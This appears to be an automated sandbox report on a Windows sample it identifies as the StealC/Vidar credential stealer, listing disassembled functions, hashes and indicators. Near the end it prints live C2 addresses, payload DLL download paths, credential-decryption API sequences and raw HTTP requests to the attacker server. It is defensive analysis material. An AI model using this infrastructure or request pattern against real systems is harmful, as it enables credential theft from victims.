Instruction Fuzzy Hash: 663181B5A083059FD704CF15D88069BBBE4FF89314F50842EE89A97740D734E919CB96

Function 6C5EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB4F5
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB502
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB542
free.MOZGLUE(?), ref: 6C5EB578

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction ID: 4fbd0085afc91690fa882e5d7d57b9b669ea2aed48a7405ff4e18f1a887bea03
Opcode Fuzzy Hash: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction Fuzzy Hash: D711D230A04B41C7D712DF2AD940766B3B1FFDA319FA4970AD84953A02FBB0A5C5CB99

Function 6C613DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5DF20E,?), ref: 6C613DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5DF20E,00000000,?), ref: 6C613DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C613E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C613E0E

Part of subcall function 6C60CC00: GetCurrentProcess.KERNEL32(?,?,6C5D31A7), ref: 6C60CC0D
Part of subcall function 6C60CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5D31A7), ref: 6C60CC16

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction ID: d4614f3921245b2ea771380a487839e8b322fb3ac75b2d1d133d677f14d83afc
Opcode Fuzzy Hash: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction Fuzzy Hash: 4AF082B16002087FD700AB55DC81DAB372DDB47624F544020FD0917700D636BE1986FF

Function 6C6285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6285D3

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C628725

Strings

map/set<T> too long, xrefs: 6C628720

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction ID: 385dfbe35afb8ca457665a853c17a9867f5ae68ab3bea352f90a1ea3c474da33
Opcode Fuzzy Hash: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction Fuzzy Hash: FC516775A00652CFD701CF18C884A99BBF1BF4A318F18C18AD8595BB62C339EC85CF96

Function 6C5DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5DBE8F

Strings

0, xrefs: 6C5DBE5B

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction ID: e4de7f61218caeb0ccdc6ffb853258837a6a7e02d905edce8f2e789acbd0ddad
Opcode Fuzzy Hash: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction Fuzzy Hash: D041A171909745CFC701EF2CC881A9BB7F5EF8A348F018A1DF985A7611D730E9598B8A

Function 6C613CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613D19
mozalloc_abort.MOZGLUE(?), ref: 6C613D6C

Strings

d, xrefs: 6C613D58

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction ID: d5107bb962fdea173de14bfea202fb48808b408f372d1b35633a1b8ca75a1ac8
Opcode Fuzzy Hash: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction Fuzzy Hash: C1110831E186889BDF04DF6EC8544EEB7B5EF86319F84C228DC4657A01EB309584C398

Function 6C636DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C636E22
__Init_thread_footer.LIBCMT ref: 6C636E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C636E1D

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction ID: aa3dfe708f3a3aed403ea651568ae3c8515251a442ee31392e59eeb74b2c7ce2
Opcode Fuzzy Hash: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction Fuzzy Hash: CCF0E975709240CBDB00CB6AC990A9977716713318FB42165C45947BE1DB21E51BCE9F

Function 6C5E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5E9EEF

Strings

Infinity, xrefs: 6C5E9EB7
NaN, xrefs: 6C5E9EC1

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction ID: 1f16d4c6328c432ed3badc2b37ea6a24e7555b3e8a0e6728cb340cdf85c730c8
Opcode Fuzzy Hash: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction Fuzzy Hash: 67F0A9B1600242CBDB00CF1AD9C5BA433F1A707309FB04B58C6440BB81D3756556CA8F

Function 6C5E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C42

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C58

Strings

0Kal, xrefs: 6C5E6C33, 6C5E6C41, 6C5E6C57

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kal
API String ID: 1967447596-2504143369
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: de8ed62cae307c3c79cbc35bc68e2f4e8e149b4e77ce163f98aedd3c9396100d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 40E086F1A107094ADB08D9789C0956E75C8CB7C6E87044A35E93AC6BC8FF54E9508151

Function 6C5EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5EBEF5

Strings

cryptbase.dll, xrefs: 6C5EBEF0

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction ID: d338e20cf95d3891b4090087ab1a35eee4190e44cb9eea1a82a6048f48f4e8f3
Opcode Fuzzy Hash: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction Fuzzy Hash: ABD0C731384308E6D740FA618D05B357774A746756F64C421F75554951C7B19461CF5C

Function 6C62B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B628

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C62B127,?,?,?,?,?,?,?,?), ref: 6C62B74D

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction ID: 4e0f776fcdad556d5c3405aa7ea04e6eb235480ce1ceeea87d33b54d0dd7ead9
Opcode Fuzzy Hash: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction Fuzzy Hash: A451AE71A052168FDB14CF18C980AAEB7B5FFC5308F55852DC89BAB710D739A804CFA9

Function 6C626E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C626EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C626EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626F5C

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction ID: 180c0776edc34ceba998e63a918f06a2745cc89f33af255fcd614f09db26d7eb
Opcode Fuzzy Hash: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction Fuzzy Hash: E6312671A1060A8FDB14CF2CCD806AA73FAEB84304F60813DD41ACB651EF36E659CB95

Function 6C63B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5E0A4D), ref: 6C63B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5E0A4D), ref: 6C63B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5E0A4D), ref: 6C63B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5E0A4D), ref: 6C63B67F

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction ID: 0162bfb6be52be801d6a401079ee90941f007e1092e601cbd0e033f910d57a8c
Opcode Fuzzy Hash: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction Fuzzy Hash: 7A31F471B006268FDB10CF59CC8465ABBB5FFC6314F5A9529C80A9B202DB31E915CBA4

Function 6C60F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F668

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 6db68e1a2087bafc1bc5b3d0aaa9a3c15342b7008b7056d0057b0c8f9deb4753
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: EA316F71B00614AFC719CF1DCDC0A9B77B6EB94358B14C938FA4A8BB05D632E9448B9D

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.6f0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.6f0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_006F9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_006FC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_006F7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_006F9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00708EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00708EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5E6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
